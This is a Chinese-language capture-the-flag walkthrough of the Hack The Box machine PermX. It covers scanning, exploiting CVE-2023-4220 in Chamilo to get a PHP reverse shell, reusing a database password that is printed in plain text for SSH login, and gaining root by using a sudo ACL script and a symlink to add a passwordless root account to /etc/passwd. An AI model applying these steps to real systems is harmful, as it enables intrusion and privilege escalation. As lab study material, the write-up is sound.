Permx靶机笔记

概述

permx靶机是HTB的简单靶机，这台靶机整体考验渗透人员的信息搜集能力，可以收只有信息搜集的快速，才能快速拿到它的flag。

整体是比较简单的靶机

靶机连接：https://app.hackthebox.com/machines/PermX

一、nmap扫描

1）端口扫描

nmap -sT --min-rate 10000 -p- -o ports 10.10.11.23

Nmap scan report for 10.10.11.23
Host is up (2.4s latency).
Not shown: 65495 filtered tcp ports (no-response), 38 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Aug  6 09:44:09 2024 -- 1 IP address (1 host up) scanned in 327.15 seconds

2）详细信息扫描

nmap -sT -sV -sC -O -p22,80 -o detail 10.10.11.23

Nmap scan report for 10.10.11.23
Host is up (2.7s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e25c5d8c473ed872f7b4800349866def (ECDSA)
|_  256 1f41028e6b17189ca0ac5423e9713017 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.6 (93%), Linux 5.4 (93%), Linux 3.8 (92%), QNAP QTS 4.0 - 4.2 (92%), Linux 5.3 - 5.4 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug  6 09:57:53 2024 -- 1 IP address (1 host up) scanned in 133.37 seconds

看到``http-title: Did not follow redirect to http://permx.htb`

我们去/etc/hosts文件中绑定域名

sudo vi /etc/hosts

把10.10.11.23 permx.htb写进去

二、访问web

http://permx.htb

开始爆破子域名

sudo gobuster dns -d permx.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt                            
[sudo] kali 的密码：                                                                                                               
===============================================================                                                                    
Gobuster v3.6                                                                                                                      
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                      
===============================================================                                                                    
[+] Domain:     permx.htb                                                                                                          
[+] Threads:    10                                                                                                                 
[+] Timeout:    1s                                                                                                                 
[+] Wordlist:   /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt                                                  
===============================================================                                                                    
Starting gobuster in DNS enumeration mode                                                                                          
===============================================================                                                                    
Found: lms.permx.htb

Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

看到结果lms.permx.htb

同样写到/etc/hosts文件中，打开浏览器进行访问。

一个登录窗口，应该是cms。网上找一下有没有漏洞公开信息。同时进行目录爆破，看有没有一些页面信息。

1）目录爆破

sudo gobuster dir -u http://lms.permx.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================                 
Gobuster v3.6                                                           
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)         
===============================================================             
[+] Url:                     http://lms.permx.htb                                              
[+] Method:                  GET                                                      
[+] Threads:                 10                                                                
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt        
[+] Negative Status codes:   404                                                                
[+] User Agent:              gobuster/3.6                                                      
[+] Timeout:                 10s                                                                
===============================================================                                  
Starting gobuster in directory enumeration mode                                                   
===============================================================                                                                    
/main                 (Status: 301) [Size: 313] [--> http://lms.permx.htb/main/]                                                   
/web                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/web/]                                                    
/documentation        (Status: 301) [Size: 322] [--> http://lms.permx.htb/documentation/]                                          
/bin                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/bin/]                                                    
/src                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/src/]                                                    
/app                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/app/]                                                    
/vendor               (Status: 301) [Size: 315] [--> http://lms.permx.htb/vendor/]                                                 
/LICENSE              (Status: 200) [Size: 35147]                                                                                  
/plugin               (Status: 301) [Size: 315] [--> http://lms.permx.htb/plugin/]                                                 
/certificates         (Status: 301) [Size: 321] [--> http://lms.permx.htb/certificates/]                                           
Progress: 39913 / 220561 (18.10%)                                                                                                  
/custompages          (Status: 301) [Size: 320] [--> http://lms.permx.htb/custompages/]                                            
/server-status        (Status: 403) [Size: 278] 
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

也没什么有用的路径泄露出来

2）CVE搜索

找到了一个文件上传的漏洞CVE-2023-4220

exploit：https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit

php-reverse-shell：https://pentestmonkey.net/tools/web-shells/php-reverse-shell

三、获得立足点

两个文件下载下来

修改一下reverse.php文件的ip地址和端口

chmod +x chamilo-exp.sh 

成功获得立足点

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm-color # 可以用clear清屏

我们在用户目录下发现了mtz用户

四、获得mtz用户权限

find / -name configuration.php 2> /dev/null

找到了chamilo的配置文件，去打开看看

cat /var/www/chamilo/app/config/configuration.php    
cat /var/www/chamilo/plugin/sepe/src/configuration.php

在app目录下的配置文件中，我们看到了数据库的用户名和密码

我们连接数据库

mysql -u chamilo -p03F6lY3uXAP2bkW8

成功进入数据库

这里有admin和password的hash值

用hashcat等工具尝试破解hash值，可惜一无所获

我们想一下，这个数据库的密码03F6lY3uXAP2bkW8 会不会和它ssh用户mtz的密码一样呢 尝试一下

sudo ssh mtz@10.10.11.23

03F6lY3uXAP2bkW8

发现用户flag

五、提权到root

sudo -l 看到有一个脚本

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

因为文件是不可写的，我们只能审计一下这个脚本文件，看看能不能完成提权了。

这里阻止了一些恶意的操作，我们可以尝试链文件

mtz@permx:~:$ ln -s /etc/passwd /home/mtz/test
mtz@permx:~:$ sudo /opt/acl.sh mtz rw /home/mtz/test
mtz@permx:~:$ echo "lingx5::0:0:lingx5:/root:/bin/bash" >> ./test
mtz@permx:~:$ su lingx5

root@permx:/home/mtz:#

成功拿到root的flag

总结

1. 我们用nmap扫描，探测出了目标服务有http和ssh服务，对http服务进行子域名枚举，在它的旁站中，我们发现他是一个cms的架构
2. 在github上找到了chamilo框架的CVE-2023-4220漏洞，根据github上的教程利用exp，成功后的了www-data用户权限。
3. 在chamilo框架的配置文件中，我们发现mysql数据库的配置信息，可以成功登陆数据库，但是admin的密码是hash值很难破解。
4. 我们想到mysql和ssh会不会存在撞库的可能（两者密码是一样的），我们在home目录下发现mtz用户，尝试ssh连接，成功获得mtz用户的权限
5. 在mtz的sudo列表中看到了/opt/acl.sh文件，通过对shell脚本的审计，我们发现这个脚本可以给/home/mtz/*的文件赋权限，由此我们利用软连接的方式，获得/etc/passwd的写权限，成功提权到root。